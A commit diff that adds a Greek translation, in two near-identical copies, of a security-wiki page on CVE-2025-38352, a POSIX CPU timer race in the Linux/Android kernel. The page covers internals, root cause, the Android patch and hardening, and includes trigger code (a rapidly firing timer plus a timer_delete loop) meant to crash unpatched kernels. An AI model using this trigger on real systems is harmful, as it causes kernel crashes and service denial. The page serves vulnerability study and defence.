Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo

This commit is contained in:
Translator 2025-09-30 00:44:35 +00:00
parent 6406791426
commit 1bf6b3d26f
3 changed files with 392 additions and 0 deletions

View File

@ -937,3 +937,5 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

View File

@ -0,0 +1,195 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα τεκμηριώνει έναν TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό κάποιες συνθήκες να οδηγηθεί σε privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Σύντομη ανακεφαλαίωση εσωτερικών (relevant for exploitation)
- Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Η δημιουργία timer συνδέει έναν timer με ένα task/pid και αρχικοποιεί τους timerqueue κόμβους:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Η ενεργοποίηση εισάγει σε ένα per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Η γρήγορη διαδρομή αποφεύγει δαπανητική επεξεργασία εκτός αν οι cached expiries υποδεικνύουν πιθανή ενεργοποίηση:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Η λήξη συλλέγει τους ληγμένους χρονοδιακόπτες, τους επισημαίνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Δύο τρόποι επεξεργασίας λήξης
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η επεξεργασία λήξης αναβάλλεται μέσω task_work στην target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η επεξεργασία λήξης γίνεται απευθείας στο IRQ context
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται εκτός του sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU μεταξύ της λήξης σε χρόνο IRQ και ταυτόχρονης διαγραφής κατά την έξοδο του task
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK είναι απενεργοποιημένο (χρησιμοποιείται το IRQ path)
- Ο target task τερματίζει αλλά δεν έχει reaped πλήρως
- Ένα άλλο thread καλεί ταυτόχρονα posix_cpu_timer_del() για τον ίδιο timer
Sequence
1) update_process_times() ενεργοποιεί run_posix_cpu_timers() σε IRQ context για το task που τερματίζει.
2) collect_timerqueue() θέτει ctmr->firing = 1 και μετακινεί τον timer στη προσωρινή λίστα firing.
3) handle_posix_cpu_timers() αποδεσμεύει το sighand μέσω unlock_task_sighand() για να παραδώσει timers έξω από το lock.
4) Άμεσα μετά το unlock, το τερματιζόμενο task μπορεί να reaped· ένα sibling thread εκτελεί posix_cpu_timer_del().
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει τον κανονικό in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην είναι firing, διαφθείροντας το state ενώ η expiry χειρίζεται, οδηγώντας σε crashes/UB.
Why TASK_WORK mode is safe by design
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η expiry αναβάλλεται στο task_work· το exit_task_work τρέχει πριν το exit_notify, οπότε δεν συμβαίνει η χρονική επικάλυψη IRQ με το reaping.
- Ακόμα κι έτσι, αν το task ήδη τερματίζει, το task_work_add() αποτυγχάνει· το gating στο exit_state καθιστά και τις δύο modes συνεπείς.
Fix (Android common kernel) and rationale
- Προσθέστε έγκαιρη επιστροφή εάν το current task τερματίζει, περιορίζοντας όλη την επεξεργασία:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για exiting tasks, εξαλείφοντας το παράθυρο όπου η posix_cpu_timer_del() θα μπορούσε να χάσει το it.cpu.firing και να ανταγωνιστεί με την επεξεργασία λήξης.
Impact
- Η καταστροφή μνήμης του kernel στις δομές timer κατά την ταυτόχρονη λήξη/διαγραφή μπορεί να προκαλέσει άμεσες καταρρεύσεις (DoS) και αποτελεί ισχυρό primitive προς privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Στοχεύστε ένα thread που πρόκειται να τερματιστεί και επισυνάψτε σ' αυτό έναν CPU timer (per-thread ή process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιηθούν οι IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Από ένα αδελφικό νήμα, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το νήμα-στόχος τερματίζεται:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Παράγοντες επιδείνωσης race condition: υψηλός ρυθμός scheduler tick, φορτίο CPU, επαναλαμβανόμενοι κύκλοι εξόδου/επαναδημιουργίας thread. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί ότι έχει fired λόγω αποτυχίας στην αναζήτηση/κλείδωμα task αμέσως μετά το unlock_task_sighand().
Detection and hardening
- Mitigation: εφαρμόστε το exit_state guard· προτιμήστε την ενεργοποίηση του CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με αποτυχία cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο task.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,195 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα τεκμηριώνει μια συνθήκη αγώνα TOCTOU στους POSIX CPU timers του Linux/Android που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να οδηγηθεί σε privilege escalation.
- Επηρεαζόμενο συστατικό: kernel/time/posix-cpu-timers.c
- Βασική τεχνική: αγώνας λήξης έναντι διαγραφής κατά την έξοδο διεργασίας
- Εξαρτάται από ρύθμιση: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Σύντομη ανασκόπηση εσωτερικών (relevant for exploitation)
- Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Η δημιουργία timer συνδέει ένα timer με ένα task/pid και αρχικοποιεί τους κόμβους timerqueue:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Η ενεργοποίηση εισάγει στην per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Η γρήγορη διαδρομή αποφεύγει δαπανηρή επεξεργασία εκτός αν οι προσωρινά αποθηκευμένες ημερομηνίες λήξης υποδεικνύουν πιθανή ενεργοποίηση:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
Η διαδικασία λήξης συλλέγει ληγμένους χρονοδιακόπτες, τους σημειώνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Δύο τρόποι επεξεργασίας λήξης
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω task_work στο target task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται έξω από το sighand
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU μεταξύ λήξης σε IRQ-time και ταυτόχρονης διαγραφής κατά την έξοδο του task
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- Το target task εξέρχεται αλλά δεν έχει ακόμη ολοκληρωθεί το reap
- Ένα άλλο thread ταυτόχρονα καλεί posix_cpu_timer_del() για τον ίδιο timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Αμέσως μετά το unlock, το exiting task μπορεί να συλλεχθεί (reaped); ένα sibling thread εκτελεί posix_cpu_timer_del().
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει την κανονική in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην γίνεται firing, διαφθείροντας το state ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.
Why TASK_WORK mode is safe by design
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η λήξη αναβάλλεται σε task_work; exit_task_work τρέχει πριν το exit_notify, οπότε η επικαλυψη IRQ-time με το reaping δεν συμβαίνει.
- Ακόμη και τότε, αν το task ήδη εξέρχεται, task_work_add() αποτυγχάνει; ο έλεγχος με βάση το exit_state καθιστά και τις δύο λειτουργίες συνεπείς.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Αυτό αποτρέπει την είσοδο στο handle_posix_cpu_timers() για εργασίες που τερματίζουν, εξαλείφοντας το παράθυρο όπου το posix_cpu_timer_del() θα μπορούσε να το χάσει (it.cpu.firing) και να προκαλέσει συνθήκη αγώνα με την επεξεργασία λήξης.
Επιπτώσεις
- Η καταστροφή μνήμης του kernel σε δομές timer κατά τη σύγχρονη λήξη/διαγραφή μπορεί να οδηγήσει σε άμεσα crashes (DoS) και αποτελεί ισχυρό primitive για privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
Προκαλώντας το bug (ασφαλείς, επαναπαραγωγικές συνθήκες)
Build/config
- Βεβαιωθείτε ότι CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n και χρησιμοποιήστε έναν kernel χωρίς το διορθωτικό για το exit_state gating.
Στρατηγική χρόνου εκτέλεσης
- Στοχεύστε ένα thread που πρόκειται να τερματίσει και επισυνάψτε ένα CPU timer σε αυτό (per-thread ή process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιήσετε τις εισόδους στο IRQ-path:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Από ένα sibling thread, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το target thread τερματίζει:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί το firing λόγω αποτυχίας task lookup/locking αμέσως μετά το unlock_task_sighand().
Detection and hardening
- Mitigation: apply the exit_state guard; προτιμήστε την ενεργοποίηση CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με failed cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο του task.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing and moves nodes
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
## References
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}